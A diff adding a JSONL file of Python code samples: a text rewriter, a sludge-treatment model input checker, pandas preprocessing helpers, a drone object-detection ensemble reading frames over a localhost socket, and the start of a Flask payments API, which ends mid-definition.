diff --git "a/3096.jsonl" "b/3096.jsonl" new file mode 100644--- /dev/null +++ "b/3096.jsonl" @@ -0,0 +1,731 @@ +{"seq_id":"338830278","text":"#!/usr/bin/python2.7\n\nimport sys\nimport os \nimport fileinput\n\ndef scan(line):\n length = len(line)\n\n total = 0\n start = -1\n end = 0\n i = 0\n\n # scan\n\n while i < length:\n c = line[i]\n if c != \" \":\n if start == -1:\n start = i\n end = i\n total += 1\n i += 1\n\n return (total, start, end)\n\ndef rewrite(line):\n total, start, end = scan(line)\n\n if total < 3:\n return line\n\n words = list(line)\n i = start + 1\n clear = True\n while i < end:\n if words[i] != \" \":\n if clear:\n words[i] = \" \"\n clear = False\n else:\n clear = True\n i += 1\n\n return \"\".join(words)\n\nif __name__ == \"__main__\":\n for line in fileinput.input():\n line = rewrite(line.strip(\"\\n\"))\n print(line)\n","sub_path":"misc/down.py","file_name":"down.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"462546791","text":"import pandas as pd\nfrom operator import mod\n\nclass Check():\n\n\n\tdef __init__(self):\n\t\tself.workdir \t\t\t\t= __file__.strip('Calculation.py')\n\t\tself.Tank_InitialValue\t\t= pd.read_csv('input/Tank_InitialValue.csv', index_col=0)\n\t\tself.BioComponent_Inflow\t= pd.read_csv('input/BioComponent_Inflow.csv', index_col=0)\n\t\tself.reportfile\t\t\t\t= 'result/report.md'\n\t\tself.balancecheck \t\t\t= ''\n\t\tself.check_stoichoimetric\t= ''\n\t\tself.check_composition\t\t= ''\n\n\n\tdef get_Check_DO_Type(self, treatment):\n\t\tif not(treatment.Tank_DO_AllNone or treatment.Tank_DO_AllNum): # make sure DO in Treatmentprocess.xlsx will be all 'None' or all number\n\t\t\traise KeyError('DO (/input/Treatmentprocess.xlsx) can only all be \\'None\\' or all be number!')\n\n\n\tdef get_Check_DO_Value(self, treatment):\n\t\tfor tank in treatment.Tank_List:\n\t\t\tif tank.Type != 'Boundary':\n\t\t\t\tif isinstance(tank.DO,int) or isinstance(tank.DO,float):\n\t\t\t\t\tif tank.DO >8.0:\n\t\t\t\t\t\traise KeyError('DO (/input/TreatmentProcess.xlsx) cannot large than 8.0 mg/l, now it is: '+str(tank.DO)+' mg/l !')\n\t\t\t\telif str(tank.DO) != 'None':\n\t\t\t\t\traise KeyError('DO (/input/TreatmentProcess.xlsx) must be a number, now it is: \\''+str(tank.DO)+'\\' !') \n\n\n\tdef get_Check_Flow(self, treatment):\n\t\twith open (self.reportfile,'a') as reportwriter:\n\t\t\treportwriter.write('## Flow Balnce Check \\n')\n\t\tfor tank in treatment.Tank_List:\n\t\t\tif tank.Type != 'Boundary':\n\t\t\t\tif tank.FlowBalnceCheck != '':\n\t\t\t\t\tresult = eval(tank.FlowBalnceCheck)\n\t\t\t\t\tif abs(result) != 0:\n\t\t\t\t\t\t_ = str('- **'+tank.Name+'**'+\" Flow BalnceCheck Failed! Please Check the Flow Build (/input/Treatmentprocess.xlsx): \"+'``'+tank.FlowBalnceCheck_str+\" = \"+str(result))+'``'+'\\n'\n\t\t\t\t\t\twith open (self.reportfile,'a') as reportwriter:\n\t\t\t\t\t\t\treportwriter.write(_)\n\t\t\t\t\t\traise KeyError(_)\n\t\t\t\t\telse:\n\t\t\t\t\t\twith open (self.reportfile,'a') as reportwriter:\n\t\t\t\t\t\t\treportwriter.write('- **'+tank.Name+'**'+\" Flow BalnceCheck Passed: \"+'``'+tank.FlowBalnceCheck_str+\" = \"+str(result)+'``'+'\\n')\n\t\t\t\telse:\n\t\t\t\t\tif tank.Type != 'Boundary':\n\t\t\t\t\t\twith open (self.reportfile,'a') as reportwriter:\n\t\t\t\t\t\t\treportwriter.write(str('- **'+tank.Name+'**'+\" is a Batch reactor, which doesn't need to check flow.\")+'\\n')\n\n\n\tdef get_Check_ModelBalance(self, biomodel, sourcedir):\n\n\t\twith open (self.reportfile,'a') as reportwriter:\n\t\t\treportwriter.write('''\n## Model Balance Check\n- Please check these two files:\n - **result/ModelBalanceCheck.csv**\n - **result/ModelBalanceCheck_value.csv**\n- These two matrixs must all be **zero!**\n- Otherwise stoichoimetric matrix or composition matrix must have something wrong, please check them\n- NOTE:\n - **ModelBalanceCheck.csv** is algebraic expression\n - **ModelBalanceCheck_value.csv** is actual value\n - if the value is very small, it may be due to calculaiton precision, it is not a problem under such condition\n''')\n\n\t\tfor ind, item in enumerate(biomodel.BioParameter['Parameter']):\n\t\t\tself.balancecheck=self.balancecheck+str(item)\n\t\t\tif ind+1 \\n')\n\t\t\treportwriter.write(str(biomodel.BioComponent['Component'][biomodel.BioComponent_NotNegativeIndex]))\n\t\t\treportwriter.write('''\n- NOTE: You can change **Not Negative BioCompoents** by: \n**add**: ``bm.BioComponent_NotNegativeIndex.append(BioCompoents_index)``\n**delete**: ``bm.BioComponent_NotNegativeIndex.remove(BioCompoents_index)``\n**BioCompoents_index**: an integer that indicate the index of an BioCompoent\n\n''')\n\n\n\tdef get_Check_gridtime(self, grid):\n\t\tif grid.Time_unit_measured not in ['second', 'minute', 'hour', 'day']:\n\t\t\traise KeyError('Grid_time_unit_measured (/input/Treatmentprocess.xlsx) must be: \\'second\\', \\'minute\\', \\'hour\\' or \\'day\\'!')\t\n\t\tif grid.Time_unit_sample not in ['second', 'minute', 'hour', 'day']:\n\t\t\traise KeyError('Grid_time_unit_sample must be: \\'second\\', \\'minute\\', \\'hour\\' or \\'day\\'!')\n\t\tif grid.Time_unit_parameter not in ['second', 'minute', 'hour', 'day']:\n\t\t\traise KeyError('Grid_time_unit_parameter (/input/Treatmentprocess.xlsx) must be: \\'second\\', \\'minute\\', \\'hour\\' or \\'day\\'!')\n\n\t\tif grid.Time_unit_measured != grid.Time_unit_sample:\n\t\t\tif grid.Time_unit_measured == 'minute':\n\t\t\t\tif grid.Time_unit_sample not in ['second']:\n\t\t\t\t\traise KeyError('Grid_time_unit_sample (/input/Treatmentprocess.xlsx) must less than Grid_time_unit_measured!')\t\n\t\t\telif grid.Time_unit_measured == 'hour':\n\t\t\t\tif grid.Time_unit_sample not in ['second', 'minute']:\n\t\t\t\t\traise KeyError('Grid_time_unit_sample (/input/Treatmentprocess.xlsx) must less than Grid_time_unit_measured!')\t\n\t\t\telif grid.Time_unit_measured == 'day':\n\t\t\t\tif grid.Time_unit_sample not in ['second', 'minute', 'hour']:\n\t\t\t\t\traise KeyError('Grid_time_unit_sample (/input/Treatmentprocess.xlsx) must less than Grid_time_unit_measured!')\n\n\t\tif mod(grid.check_transtime, grid.check_Grid_dt_second) !=0:\n\t\t\traise KeyError('The Division is Not Exact, please reset Grid_dt_second (/input/Treatmentprocess.xlsx) values until it can be exact division by Grid_MeasuredTime!')\n\n\t\tif grid.TraceTime >= grid.CalcultionTime:\n\t\t\traise KeyError('Grid_TraceTime must <= Grid_CalcultionTime, please lower dt_second (/input/TreatmentProcess.xlsx) value!')\n\n\n\tdef get_Check_inputformat(self, treatment, biomodel, grid):\n\t\tfor tank in treatment.Tank_List:\n\t\t\tif tank.Name != 'Boundary':\n\t\t\t\tif tank.Name not in self.Tank_InitialValue.columns:\n\t\t\t\t\tif tank.Type == 'CSTR':\n\t\t\t\t\t\traise KeyError(str(tank.Name)+' (/input/Treatmentprocess.xlsx) not match Tank_InitialValue (/input/Tank_InitialValue.csv) coloumn name!')\n\t\t\t\t\telif tank.Type == 'Settling':\n\t\t\t\t\t\tif (tank.Name+'_Blanket' not in self.Tank_InitialValue.columns) or (tank.Name+'_Outlet' not in self.Tank_InitialValue.columns):\n\t\t\t\t\t\t\traise KeyError(str(tank.Name)+' (/input/Treatmentprocess.xlsx) not match Tank_InitialValue (/input/Tank_InitialValue.csv) coloumn name!')\n\n\t\tfor item in self.Tank_InitialValue.index:\n\t\t\tif item not in list(biomodel.BioComponent['Component']):\n\t\t\t\traise KeyError(str(item)+' (/input/Tank_InitialValue.csv) not match BioModel Component (/input/Model.csv)!')\n\n\t\tfor item in self.BioComponent_Inflow.index:\n\t\t\tif item not in list(biomodel.BioComponent['Component']):\n\t\t\t\traise KeyError(str(item)+' (/input/BioComponent_Inflow.csv) not match BioModel Component (/input/Model.csv)!')\n\t\n\t\tfor item in grid.Target_BioTested:\n\t\t\tif item not in list(biomodel.BioTested.index):\n\t\t\t\traise KeyError(str(item)+' (/input/MeasuredData.csv) not match BioModel Tested (/input/Model.csv)!')\n\n\n\tdef get_Check(self, treatment, biomodel, grid, sourcedir=''):\n\t\tself.get_Check_DO_Type(treatment)\t\t\n\t\tself.get_Check_DO_Value(treatment)\t\n\t\tself.get_Check_ModelBalance(biomodel, sourcedir)\n\t\tself.get_Check_Flow(treatment)\t\t\n\t\tself.get_Check_NotNegativeIndex(biomodel)\n\t\tself.get_Check_gridtime(grid)\n\t\tself.get_Check_inputformat(treatment, biomodel, grid)","sub_path":"sludge/Check.py","file_name":"Check.py","file_ext":"py","file_size_in_byte":10850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"8983202","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nfrom dateutil.parser import parse\nimport pandas as pd\nimport warnings\nimport scipy as sp\n\n\ndef fixColumns(columns):\n \"\"\"\n fixColumns fixes problems that might exist with the names of the columns in the dataframe.\n \"\"\"\n cols=[]\n for col in columns:\n if type(col)!=str:\n col=\"var\"+str(col)\n col=col.strip().replace(\" \",\"_\").replace(\".\",\"_dot_\").replace(\"-\",\"_\").replace(\"@\",\"at\").replace(\"(\",\"\").replace(\")\",\"\")\n col=col.strip().replace(\"+\",\"_plus_\").replace(\"/\",\"_div_\").replace(\"*\",\"_star_\").replace(\"\\'\",\"\") \n cols.append(col)\n return cols\n \ndef convertTargetToNumerical(x):\n if type(x[0])==type('a'):\n elements=np.unique(x)\n for i in range(0,len(elements)):\n x[x==elements[i]]=i\n x=x.astype('int32')\n return x\n\ndef deleteZeroVariance(df):\n toremove=[]\n for column in df.columns:\n if df[column].dtype.name==\"category\": \n if len(df[column].cat.categories)==1:\n toremove.append(column)\n else:\n if not df[column].std()>0.0:\n toremove.append(column) \n df.drop(toremove,axis=1,inplace=True)\n \ndef fillOutNaN(df,numerical_filler=np.nanmedian):\n for col in df.columns:\n if df[col].dtype.name==\"category\":\n df[col].fillna(value=df[col].mode()[0],inplace=True)\n else:\n df[col].replace([np.inf, -np.inf], np.nan,inplace=True)\n df[col].fillna(value=numerical_filler(df[col]),inplace=True)\n \n\ndef makeObjectToCategorical(df):\n columns=df.select_dtypes(include=[object]).columns\n for column in columns:\n try:\n df[column]=df[column].astype('category')\n except:\n pass\n \n \ndef checkIfDate(column):\n \"\"\"\n Functions that uses heuristics to determine if a column is a date column.\n \"\"\"\n num_dates=0\n for element in column:\n try:\n #an element must contain at least 6 characters to be a date, e.g. 010116\n if(len(element)>=6):\n parse(element)\n num_dates=num_dates+1\n except:\n pass\n if num_dates>(len(column)/2):\n return True\n else:\n return False\n \n \ndef convertDates(df,day=True,month=True,year=True,hour=True):\n columns=df.select_dtypes(include=[object]).columns\n \n for column in columns:\n if checkIfDate(df[column]):\n date=pd.to_datetime(df[column])\n if(day):\n df['day']=[x.day for x in date]\n df['day']=df['day'].astype('category')\n if(month):\n df['month']=[x.month for x in date]\n df['month']=df['month'].astype('category')\n if(year):\n df['year']=[x.year for x in date]\n df['year']=df['year'].astype('category')\n if(hour):\n df['hour']=[x.hour for x in date]\n df['hour']=df['hour'].astype('category')\n df.drop(column,axis=1,inplace=True)\n\n\n\ndef deleteIdColumn(df):\n for col in df.columns:\n if col.lower().strip()=='id':\n df.drop(col,axis=1,inplace=True)\n break\n return df\n\n\ndef generalPreprocess(newd,add_var_name=True,del_zero_var=True):\n convertDates(newd)\n makeObjectToCategorical(newd)\n fillOutNaN(newd)\n if del_zero_var:\n deleteZeroVariance(newd)\n deleteIdColumn(newd)\n if add_var_name:\n newd.columns=[\"var_\"+str(k) for k in newd.columns] \n return newd\n \ndef preprocessTarget(df,target):\n #delete rows with lots of missing values\n df2=df[np.isfinite(target)]\n target2=target[np.isfinite(target)]\n rows_original=df.shape[0]\n rows_new=df2.shape[0]\n if rows_new<=rows_original/2:\n warnings.warn(\"the new dataset with removed rows has fewer rows than the original\")\n \n #transform the target if it is too skewed\n if np.abs(sp.stats.skew(target))>1:\n if(all(target>0)):\n target2=np.log(target+1)\n else:\n target2=np.log(target+abs(min(target))+1)\n \n return df2,target2\n \n\n \n","sub_path":"featuresDeprecated/feature_preprocess.py","file_name":"feature_preprocess.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"551533637","text":"import numpy as np\nimport os\nimport six.moves.urllib as urllib\nimport sys\nimport tarfile\nimport tensorflow as tf\nimport zipfile\nimport cv2\n\nfrom collections import defaultdict\nfrom io import StringIO\nfrom matplotlib import pyplot as plt\nfrom PIL import Image\n\nfrom prediction import Box\nfrom prediction import Prediction\n\nfrom time import sleep\nfrom threading import Thread\nimport socket\nfrom struct import unpack\n\n# This is needed since the notebook is stored in the object_detection folder.\nsys.path.append(\"C:\\\\Users\\\\micha\\\\OneDrive\\\\Documents\\\\GitHub\\\\models\\\\research\")\nsys.path.append(\"C:\\\\Users\\\\micha\\\\OneDrive\\\\Documents\\\\GitHub\\\\models\\\\research\\\\object_detection\")\nfrom object_detection.utils import ops as utils_ops\n\nif tf.__version__ < '1.4.0':\n raise ImportError('Please upgrade your tensorflow installation to v1.4.* or later!')\n\nfrom utils import label_map_util\nfrom utils import visualization_utils as vis_util\n\nimages_to_process = []\n\nclass DroneVideoStream:\n def __init__(self):\n self.stopped = False\n\n def start(self):\n\t\t# start the thread to read frames from the video stream\n print(\"Looking for connections\")\n Thread(target=self.update, args=()).start()\n return self\n\n def update(self):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n s.bind(('localhost', 9090))\n s.listen(1)\n\n client_socket, addr = s.accept()\n print(\"Got Connection\")\n while not self.stopped:\n print(\"Running\")\n buf = b''\n while len(buf)<4:\n buf += client_socket.recv(4-len(buf))\n size = unpack('!i', buf)\n img = b''\n if(size[0] > 0):\n img = client_socket.recv(size[0]+4)\n if(not size[0] > 30000 and not size[0] < 0):\n image = open('test.jpg', 'wb')\n image.write(img)\n image_np = cv2.imread('test.jpg')\n images_to_process.append(image_np)\n if(cv2.waitKey(1) & 0xFF == ord('q')):\n cv2.destroyAllWindows()\n break\n\n cv2.waitKey(1)\n\n def stop(self):\n\t\t# indicate that the thread should be stopped\n self.stopped = True\n\ndroneVS = DroneVideoStream()\n\n# Path to frozen detection graph. This is the actual model that is used for the object detection.\nPATH_TO_CKPT_1 = 'C:/Users/micha/OneDrive/Documents/GitHub/CVML-GSET-Project/detector-models/ssdmodel/models/ssd/export/frozen_inference_graph.pb'\nPATH_TO_CKPT_2 = 'C:/Users/micha/OneDrive/Documents/GitHub/CVML-GSET-Project/detector-models/rfcnmodel/models/rfcn/export/frozen_inference_graph.pb'\n# List of the strings that is used to add correct label for each box.\nPATH_TO_LABELS = 'C:/Users/micha/OneDrive/Documents/GitHub/CVML-GSET-Project/dataset/new-tensorflow-dataset/data/label_map.pbtxt'\n#IMG Path\nPATH_TO_IMAGE = 'C:/Users/micha/OneDrive/Documents/GitHub/CVML-GSET-Project/dataset/test-images/test1.jpg'\nIMG_DIR = \"C:\\\\Users\\\\micha\\\\OneDrive\\\\Documents\\\\GitHub\\\\CVML-GSET-Project\\\\ensemble\\\\evaluation\\\\test-images\\\\\"\nOUTPUT_TXT_DIR = \"C:\\\\Users\\\\micha\\\\OneDrive\\\\Documents\\\\GitHub\\\\CVML-GSET-Project\\\\ensemble\\\\averager\\\\predicted\\\\\"\n\nNUM_CLASSES = 8\n# Size, in inches, of the output images.\nIMAGE_SIZE = (12, 8)\nCONFIDENCE_THRESH = 0.5\n\ndef conv_id_to_name(id):\n if(id == 1):\n return \"bottle\"\n elif(id == 2):\n return \"can\"\n elif(id == 3):\n return \"container\"\n elif(id == 4):\n return \"wrapper\"\n elif(id == 5):\n return \"paper\"\n elif(id == 6):\n return \"cardboard\"\n elif(id == 7):\n return \"cup\"\n elif(id == 8):\n return \"scrap\"\n\n# Load tensorflow model\ndetection_graph1 = tf.Graph()\nwith detection_graph1.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT_1, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n# Load tensorflow model\ndetection_graph2 = tf.Graph()\nwith detection_graph2.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT_2, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n# Load label map\nlabel_map = label_map_util.load_labelmap(PATH_TO_LABELS)\ncategories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\ncategory_index = label_map_util.create_category_index(categories)\n\ndef fix_output_dict(output_dict):\n # all outputs are float32 numpy arrays, so convert types as appropriate\n output_dict['num_detections'] = int(output_dict['num_detections'][0])\n output_dict['detection_classes'] = output_dict['detection_classes'][0].astype(np.uint8)\n output_dict['detection_boxes'] = output_dict['detection_boxes'][0]\n output_dict['detection_scores'] = output_dict['detection_scores'][0]\n if 'detection_masks' in output_dict:\n output_dict['detection_masks'] = output_dict['detection_masks'][0]\n return conv_output_dict_to_prediction(output_dict)\n\ndef conv_output_dict_to_prediction(output_dict):\n prediction = Prediction()\n for i in range(len(output_dict['detection_boxes'])) :\n if(output_dict['detection_scores'][i] >= CONFIDENCE_THRESH):\n detection_boxes = (output_dict['detection_boxes'][i])\n new_box = Box(detection_boxes[0], detection_boxes[1], detection_boxes[2],\n detection_boxes[3], output_dict['detection_scores'][i], output_dict['detection_classes'][i])\n prediction.append_box(new_box)\n return prediction\n\ndef GeneralEnsemble(dets, iou_thresh = 0.5, weights=None):\n assert(type(iou_thresh) == float)\n\n ndets = len(dets)\n\n if weights is None:\n w = 1/float(ndets)\n weights = [w]*ndets\n else:\n assert(len(weights) == ndets)\n\n s = sum(weights)\n for i in range(0, len(weights)):\n weights[i] /= s\n\n out = list()\n used = list()\n\n for idet in range(0,ndets):\n det = dets[idet]\n for box in det:\n if box in used:\n continue\n\n used.append(box)\n # Search the other detectors for overlapping box of same class\n found = []\n for iodet in range(0, ndets):\n odet = dets[iodet]\n\n if odet == det:\n continue\n\n bestbox = None\n bestiou = iou_thresh\n for obox in odet:\n if not obox in used:\n # Not already used\n if box[4] == obox[4]:\n # Same class\n iou = computeIOU(box, obox)\n if iou > bestiou:\n bestiou = iou\n bestbox = obox\n\n if not bestbox is None:\n w = weights[iodet]\n found.append((bestbox,w))\n used.append(bestbox)\n\n # Now we've gone through all other detectors\n if len(found) == 0:\n new_box = list(box)\n new_box[5] /= ndets\n out.append(new_box)\n else:\n allboxes = [(box, weights[idet])]\n allboxes.extend(found)\n\n xc = 0.0\n yc = 0.0\n bw = 0.0\n bh = 0.0\n conf = 0.0\n\n wsum = 0.0\n for bb in allboxes:\n w = bb[1]\n wsum += w\n\n b = bb[0]\n xc += w*b[0]\n yc += w*b[1]\n bw += w*b[2]\n bh += w*b[3]\n conf += w*b[5]\n\n xc /= wsum\n yc /= wsum\n bw /= wsum\n bh /= wsum\n\n new_box = [xc, yc, bw, bh, box[4], conf]\n out.append(new_box)\n return out\n\ndef getCoords(box):\n x1 = float(box[0]) - float(box[2])/2\n x2 = float(box[0]) + float(box[2])/2\n y1 = float(box[1]) - float(box[3])/2\n y2 = float(box[1]) + float(box[3])/2\n return x1, x2, y1, y2\n\ndef computeIOU(box1, box2):\n x11, x12, y11, y12 = getCoords(box1)\n x21, x22, y21, y22 = getCoords(box2)\n\n x_left = max(x11, x21)\n y_top = max(y11, y21)\n x_right = min(x12, x22)\n y_bottom = min(y12, y22)\n\n if x_right < x_left or y_bottom < y_top:\n return 0.0\n\n intersect_area = (x_right - x_left) * (y_bottom - y_top)\n box1_area = (x12 - x11) * (y12 - y11)\n box2_area = (x22 - x21) * (y22 - y21)\n\n iou = intersect_area / (box1_area + box2_area - intersect_area)\n return iou\n\ndef display_prediction(image, prediction):\n vis_util.visualize_boxes_and_labels_on_image_array(image, np.array(prediction.get_coords()),\n prediction.get_class_labels(), prediction.get_confidences(),\n category_index, use_normalized_coordinates=True,\n line_thickness=8)\n cv2.imshow('object detection', cv2.resize(image, (800, 600)))\n\ndef run_ensemble(graph1, graph2):\n # INITIALIZE DETECTOR 1\n with tf.Session(graph=graph1) as sess1:\n # Get handles to input and output tensors\n ops = tf.get_default_graph().get_operations()\n all_tensor_names = {output.name for op in ops for output in op.outputs}\n tensor_dict1 = {}\n for key in ['num_detections', 'detection_boxes', 'detection_scores', 'detection_classes', 'detection_masks']:\n tensor_name = key + ':0'\n if tensor_name in all_tensor_names:\n tensor_dict1[key] = tf.get_default_graph().get_tensor_by_name(tensor_name)\n if 'detection_masks' in tensor_dict1:\n # The following processing is only for single image\n detection_boxes = tf.squeeze(tensor_dict1['detection_boxes'], [0])\n detection_masks = tf.squeeze(tensor_dict1['detection_masks'], [0])\n # Reframe is required to translate mask from box coordinates to image coordinates and fit the image size.\n real_num_detection = tf.cast(tensor_dict1['num_detections'][0], tf.int32)\n detection_boxes = tf.slice(detection_boxes, [0, 0], [real_num_detection, -1])\n detection_masks = tf.slice(detection_masks, [0, 0, 0], [real_num_detection, -1, -1])\n detection_masks_reframed = utils_ops.reframe_box_masks_to_image_masks(detection_masks, detection_boxes, image.shape[0], image.shape[1])\n detection_masks_reframed = tf.cast(tf.greater(detection_masks_reframed, 0.5), tf.uint8)\n # Follow the convention by adding back the batch dimension\n tensor_dict1['detection_masks'] = tf.expand_dims(detection_masks_reframed, 0)\n image_tensor1 = tf.get_default_graph().get_tensor_by_name('image_tensor:0')\n\n # INITIALIZE DETECTOR 2\n with tf.Session(graph=graph2) as sess2:\n\n droneVS.start()\n\n # Get handles to input and output tensors\n ops = tf.get_default_graph().get_operations()\n all_tensor_names = {output.name for op in ops for output in op.outputs}\n tensor_dict2 = {}\n for key in ['num_detections', 'detection_boxes', 'detection_scores', 'detection_classes', 'detection_masks']:\n tensor_name = key + ':0'\n if tensor_name in all_tensor_names:\n tensor_dict2[key] = tf.get_default_graph().get_tensor_by_name(tensor_name)\n if 'detection_masks' in tensor_dict2:\n # The following processing is only for single image\n detection_boxes = tf.squeeze(tensor_dict2['detection_boxes'], [0])\n detection_masks = tf.squeeze(tensor_dict2['detection_masks'], [0])\n # Reframe is required to translate mask from box coordinates to image coordinates and fit the image size.\n real_num_detection = tf.cast(tensor_dict2['num_detections'][0], tf.int32)\n detection_boxes = tf.slice(detection_boxes, [0, 0], [real_num_detection, -1])\n detection_masks = tf.slice(detection_masks, [0, 0, 0], [real_num_detection, -1, -1])\n detection_masks_reframed = utils_ops.reframe_box_masks_to_image_masks(detection_masks, detection_boxes, image.shape[0], image.shape[1])\n detection_masks_reframed = tf.cast(tf.greater(detection_masks_reframed, 0.5), tf.uint8)\n # Follow the convention by adding back the batch dimension\n tensor_dict2['detection_masks'] = tf.expand_dims(detection_masks_reframed, 0)\n image_tensor2 = tf.get_default_graph().get_tensor_by_name('image_tensor:0')\n\n loop_count = 0\n\n\n # ACTUALLY RUN THE ENSEMBLER\n while True:\n if loop_count == 1:\n images_to_process = []\n if(len(images_to_process) > 0):\n image = images_to_process.pop(0)\n # Purposefully drop frames to catch up\n if(len(images_to_process) > 5):\n image = images_to_process.pop(0)\n if(len(images_to_process) > 10):\n images_to_process.pop(0)\n image = images_to_process.pop(0)\n if(len(images_to_process) > 50):\n image = images_to_process.pop(0)\n images_to_process = []\n if(type(image) == np.ndarray):\n\n final_prediction = Prediction()\n\n # Run inference\n prediction_1 = fix_output_dict(sess1.run(tensor_dict1, feed_dict={image_tensor1: np.expand_dims(image, 0)}))\n prediction_2 = fix_output_dict(sess2.run(tensor_dict2, feed_dict={image_tensor2: np.expand_dims(image, 0)}))\n\n detections = []\n indiv_detections = []\n\n for box in prediction_1.get_boxes():\n indiv_detections.append(box.conv_to_center_mode())\n detections.append(indiv_detections)\n\n indiv_detections = []\n for box in prediction_2.get_boxes():\n indiv_detections.append(box.conv_to_center_mode())\n detections.append(indiv_detections)\n\n new_detections = GeneralEnsemble(detections)\n\n for box in new_detections:\n gen_box = Box(0,0,0,0,0,0).create_from_center_mode(box)\n final_prediction.append_box(gen_box)\n\n display_prediction(image, final_prediction)\n\n loop_count += 1\n\n if(cv2.waitKey(25) & 0xFF == ord('q')):\n cv2.destroyAllWindows()\n break\n else:\n sleep(0.05)\n\nrun_ensemble(detection_graph1, detection_graph2)\n\ndef process_img(image_np, display):\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_np, axis=0)\n # Actual detection.\n output_dict = run_inference_for_single_image(image_np, detection_graph)\n # Visualization of the results of a detection.\n if(display):\n vis_util.visualize_boxes_and_labels_on_image_array(image_np, output_dict['detection_boxes'],\n output_dict['detection_classes'], output_dict['detection_scores'],\n category_index, instance_masks=output_dict.get('detection_masks'),\n use_normalized_coordinates=True, line_thickness=8)\n plt.figure(figsize=IMAGE_SIZE)\n plt.imshow(image_np)\n plt.show()\n\n return output_dict\n\ndef predict_img(image, display):\n output_dict = process_img(image, display)\n prediction = Prediction()\n for i in range(len(output_dict['detection_boxes'])) :\n if(output_dict['detection_scores'][i] >= CONFIDENCE_THRESH):\n detection_boxes = (output_dict['detection_boxes'][i])\n new_box = Box(detection_boxes[0], detection_boxes[1], detection_boxes[2],\n detection_boxes[3], output_dict['detection_scores'][i], output_dict['detection_classes'][i])\n prediction.append_box(new_box)\n return prediction\n","sub_path":"ensemble/averager/ensemble-drone.py","file_name":"ensemble-drone.py","file_ext":"py","file_size_in_byte":16487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"180511532","text":"import json\n\nfrom flask import request, make_response, send_file, jsonify\nfrom flask_restplus import Namespace, Resource, cors, fields, marshal_with, marshal\nfrom flask_jwt_oidc import AuthError\n\nfrom namex.utils.logging import setup_logging\nfrom namex.utils.auth import cors_preflight\nfrom namex.utils.api_resource import clean_url_path_param, handle_exception\n\nfrom namex.constants import PaymentState, PaymentStatusCode\n\nfrom namex.models import Request as RequestDAO, Payment as PaymentDAO\n\nfrom namex.services.payment.exceptions import SBCPaymentException, SBCPaymentError, PaymentServiceError\nfrom namex.services.payment.fees import calculate_fees, CalculateFeesRequest\nfrom namex.services.payment.invoices import get_invoices, get_invoice\nfrom namex.services.payment.payments import get_payment, create_payment, update_payment, CreatePaymentRequest, UpdatePaymentRequest\nfrom namex.services.payment.receipts import get_receipt\n\n\"\"\"\nfrom namex.services.payment.transactions import \\\n get_transactions, get_transaction, create_transaction, update_transaction, \\\n GetTransactionsRequest, GetTransactionRequest, CreateTransactionRequest, UpdateTransactionRequest\n\"\"\"\n\nfrom openapi_client.models import PaymentRequest, PaymentReceiptInput\n\nsetup_logging() # It's important to do this first\n\n# Register a local namespace for the NR reserve\npayment_api = Namespace('payments', description='API for Making Payments Using SBC Pay')\n\nMSG_BAD_REQUEST_NO_JSON_BODY = 'No JSON data provided'\nMSG_SERVER_ERROR = 'Server Error!'\nMSG_NOT_FOUND = 'Resource not found'\nMSG_ERROR_CREATING_RESOURCE = 'Could not create / update resource'\n\n\ndef validate_request(request):\n return True\n\n\n# Define our DTO models\n# Generic model types\ndictionary_list_model = payment_api.model('DictionaryList', {\n 'key': fields.String,\n 'list': fields.List(fields.String)\n})\n\ndict_list_model = payment_api.model('DictionaryListList', {\n 'data': fields.List(fields.Nested(dictionary_list_model))\n})\n\nlist_model = payment_api.model('List', {\n 'data': fields.List(fields.String)\n})\n\nstring_model = payment_api.model('String', {\n 'data': fields.String\n})\n\n# Custom model types\npayment_info_schema = payment_api.model('PaymentInfo', {\n 'methodOfPayment': fields.String\n})\n\nfiling_type_schema = payment_api.model('FilingType', {\n 'filingTypeCode': fields.String,\n 'priority': fields.Boolean,\n 'filingDescription': fields.String\n})\n\nfiling_info_schema = payment_api.model('FilingInfo', {\n 'corpType': fields.String,\n 'date': fields.String,\n 'filingTypes': fields.List(fields.Nested(filing_type_schema)),\n})\n\ncontact_info_schema = payment_api.model('ContactInfo', {\n # 'firstName': fields.String,\n # 'lastName': fields.String,\n 'addressLine1': fields.String,\n 'city': fields.String,\n 'province': fields.String,\n 'country': fields.String,\n 'postalCode': fields.String,\n})\n\nbusiness_info_schema = payment_api.model('BusinessInfo', {\n 'businessIdentifier': fields.String,\n 'businessName': fields.String,\n 'contactInfo': fields.Nested(contact_info_schema)\n})\n\n\npayment_invoice_schema = payment_api.model('PaymentInvoice', {\n 'id': fields.String,\n 'referenceNumber': fields.String,\n 'statusCode': fields.String,\n 'createdBy': fields.String,\n 'createdOn': fields.String\n})\n\npayment_response_schema = payment_api.model('Payment', {\n 'id': fields.String,\n 'invoices': fields.List(fields.Nested(payment_invoice_schema)),\n 'paymentMethod': fields.String,\n 'statusCode': fields.String,\n 'createdBy': fields.String,\n 'createdOn': fields.String,\n 'updatedBy': fields.String,\n 'updatedOn': fields.String\n})\n\n# Define our request objects\n# Snake case as these are GET params\ncalculate_fees_request_schema = payment_api.model('CalculateFeesRequest', {\n 'corp_type': fields.String,\n 'filing_type_code': fields.String,\n 'jurisdiction': fields.String,\n 'date': fields.String,\n 'priority': fields.String\n})\n\n# These are POSTED use camelCase\npayment_request_schema = payment_api.model('PaymentRequest', {\n 'paymentInfo': 